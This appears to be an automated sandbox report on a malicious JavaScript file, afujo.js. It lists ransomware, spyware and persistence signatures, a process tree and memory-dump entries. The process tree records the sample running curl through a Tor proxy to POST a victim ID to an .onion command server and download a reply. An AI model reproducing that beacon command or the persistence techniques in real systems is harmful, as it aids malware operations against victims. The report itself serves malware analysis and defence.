Overview

overview

8

Static

static

1

afujo.js

windows10-2004-x64

7

afujo.js

windows11-ltsc_2024-x64

8

Analysis

  • max time kernel
    121s
  • max time network
    126s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260617-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260617-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    29/06/2026, 02:20

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General

  • Target
    afujo.js
  • Size 41KB
  • Sample260629-csveaabs2w
  • SHA256 039fa0f67bc01117564798b70ef5aa35446d3ae9176a17a4a5bb2a47d911c2e6
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10
adwareexecutionpersistenceransomwarespyware

Malware Config

Signatures

  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

    persistence
  • Enumerates connected drives 3 TTPs 2 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
    execution
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks SCSI registry key(s) 3 TTPs 62 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
    adwarespyware
  • Modifies registry class 38 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 36 IoCs
  • Suspicious use of FindShellTrayWindow 53 IoCs
  • Suspicious use of SendNotifyMessage 39 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\afujo.js
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1372
    • C:\Windows\System32\curl.exe
      "C:\Windows\System32\curl.exe" -X POST -d "GUID=vt1c-ce2719b9&GEIP=??&action=GUID" --socks5-hostname localhost:9050 http://cgky6bn6ux5wvlybtmm3z255igt52ljml2ngnc5qp3cnw5jlglamisad.onion/route.php --max-time 30 -o C:\Users\Admin\AppData\Local\Temp\cfile
      2⤵
        PID:4948
    • C:\Windows\system32\sihost.exe
      sihost.exe
      1⤵
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of WriteProcessMemory
      PID:4916
      • C:\Windows\explorer.exe
        explorer.exe /LOADSAVEDWINDOWS
        2⤵
        • Boot or Logon Autostart Execution: Active Setup
        • Enumerates connected drives
        • Checks SCSI registry key(s)
        • Modifies Internet Explorer settings
        • Modifies registry class
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SendNotifyMessage
        • Suspicious use of SetWindowsHookEx
        PID:5032
    • C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe
      "C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe" -ServerName:CortanaUI.AppXstmwaab17q5s3y22tp6apqz7a45vwv65.mca
      1⤵
      • Modifies registry class
      • Suspicious use of SetWindowsHookEx
      PID:1136
    • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
      "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
      1⤵
      • Modifies registry class
      • Suspicious use of SetWindowsHookEx
      PID:4132

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads

          prep_Activatable Class_Hermes_perf.cache
          • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\TempState\prep_Activatable Class_Hermes_perf.cache
          • Size 595B
          • SHA256 d4e60617c2afab8263febabe7f14f18595715078d71307a8cefe0707dae76dee
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          memory/1136-58-0x000001D783C10000-0x000001D783D10000-memory.dmp
          Download

          memory/1136-56-0x000001D783A10000-0x000001D783A30000-memory.dmp
          Download

          memory/1136-74-0x000001D783A50000-0x000001D783A70000-memory.dmp
          Download

          memory/1136-88-0x000001D785020000-0x000001D785040000-memory.dmp
          Download

          memory/1136-42-0x000001D780000000-0x000001D780100000-memory.dmp
          Download

          memory/1372-20-0x0000014180100000-0x0000014180200000-memory.dmp
          Download

          memory/1372-21-0x0000014180100000-0x0000014180200000-memory.dmp
          Download

          memory/1372-13-0x0000014180100000-0x0000014180200000-memory.dmp
          Download

          memory/1372-19-0x0000014180100000-0x0000014180200000-memory.dmp
          Download

          memory/1372-18-0x0000014180100000-0x0000014180200000-memory.dmp
          Download

          memory/1372-17-0x0000014180100000-0x0000014180200000-memory.dmp
          Download

          memory/1372-217-0x0000014180100000-0x0000014180200000-memory.dmp
          Download

          memory/1372-218-0x0000014180100000-0x0000014180200000-memory.dmp
          Download

          memory/1372-219-0x0000014180100000-0x0000014180200000-memory.dmp
          Download

          memory/1372-220-0x0000014180100000-0x0000014180200000-memory.dmp
          Download

          memory/1372-221-0x0000014180100000-0x0000014180200000-memory.dmp
          Download

          memory/1372-222-0x0000014180100000-0x0000014180200000-memory.dmp
          Download